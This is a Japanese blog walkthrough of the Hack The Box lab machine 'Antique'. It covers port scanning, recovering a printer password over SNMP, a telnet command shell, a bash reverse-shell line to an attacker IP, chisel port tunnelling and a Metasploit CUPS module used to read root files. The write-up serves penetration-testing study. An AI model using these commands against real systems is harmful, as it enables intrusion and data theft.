HACK THE BOX UNTIQUE

すっかりはまってしまった。。。ハッカーまで行けてしまった。。。
<img src="http://www.hackthebox.eu/badge/image/710673" alt="Hack The Box">


気を取り直して今回のmachineはuntiqueでOSはlinuxですね～
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/3041eaf0-8fe4-4641-5576-5b4923cdf73d.png)

### enum
#### rustscan

 ``` shell
rustscan -a 10.10.11.107 --ulimit 5000 -- -sV -A -oN rustscan.txt
 ```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/8cc8d468-7667-6b3a-77aa-1a82e43b9d08.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/a7167463-a1a1-c633-4daa-ee8ae816da8e.png)

#### telnet
スキャン結果でtelnetであることが判明　早速繋いでいく..!
 ``` shell
telnet 10.10.11.107
 ``` 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/c791457b-81bb-44d5-8c92-279e68ff4d8a.png)
ただpasswordがわからないのでhydraでブルートフォースを仕掛けてもいいですがまだUDP側のポートスキャンを見てないので見てから考えます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/e8edfac8-5c2a-79c3-906f-01dd6c0d8bb3.png)
丁度1つ空いていて調べると以下のサイトが参考にできそう。。。

https://www.irongeek.com/i.php?page=security/networkprinterhacking
 ``` shell
snmpget -v 1 -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
 ``` 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/a5757271-c091-cd40-a7ca-30dd4c62ba5c.png)

デコードしてパスワードをゲットできた...!!
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/ca01721c-a6a7-4398-b26c-b0ef2ba9efbe.png)

再びtelnet 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/9eeaa9fc-abb7-abac-ec5e-164a1eb390e4.png)
### USER

うまくいったのでwebshellに似たものが実行できるみたいです。。(これの本当の名前わかりません...)
ここからuserのflagを得られて第一目標達成!!
 ``` shell
exec cat /home/lp/user.txt
 ``` 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/f35ae101-c373-a2b6-f0ed-cff6c7bacbad.png)
### ROOT
#### reverse shell
reverse shellは以下のサイトで生成してくれるので楽
https://www.revshells.com/
 ``` shell
exec /bin/bash -i >& /dev/tcp/10.10.16.7/10001 0>&1
 ``` 
#### enum
色々列挙してみると気になるもの発見
 ``` shell
netstat -tulpn
 ``` 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/103e313d-dafe-08af-223d-6e88b1ee39d3.png)
接続先として
tcp 127.0.0.1:23 -> telnet 
udp 127.0.0.1:161 -> snmp

tcp 127.0.0.1:631 -> ?
631番は何のポートフォワーディングになるのか...
#### chisel
通常ポート22番が開通しているためssh のローカルフォワードで解決するが今回はポート22 番が閉じているためchiselというものを使う
https://github.com/jpillora/chisel
二つ攻撃側、被害者側二つにchiselを用意して(wget,git clone etc...)以下を実行
 ``` shell
victim side
./chisel client 10.10.16.7:8000 R:631:127.0.0.1:631
attacker side
./chisel server -p 8000 --reverse
 ``` 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/83aecd25-3a22-7f44-bf5b-cf0d57a986a8.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/ea916faf-365e-b175-6374-16e5ceebf41b.png)

#### CUPS
shielでトンネルを作った後にnmapで確認するとcupsというサービスが出てきた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/94b5e819-a872-b341-b100-60e8fd1cfcc8.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/25563efa-7fe1-99a3-3caa-5c4dae50de55.png)

cupsには以下の脆弱性をついたmetasploitのコードあるので利用する
https://www.infosecmatter.com/post-exploitation-metasploit-modules-reference/

今回はsessionが必要みたい。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/c9e9f2e9-2535-eb1f-eee8-eafcad68530e.png)

もう一つshellを立てつつmetasploitのhandlerにreverse shellを張る
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/47e89158-6df9-bb58-0c04-8ec9d0a19a62.png)
実際にshadowファイルは読み込めているので/root/root.txtを直接狙っていきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/b8519b6c-d1b8-25f1-d1e0-6927a4c124eb.png)
pwned!!!
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810405/9ec365bd-dadd-53a5-d65e-8d925026b9e2.png)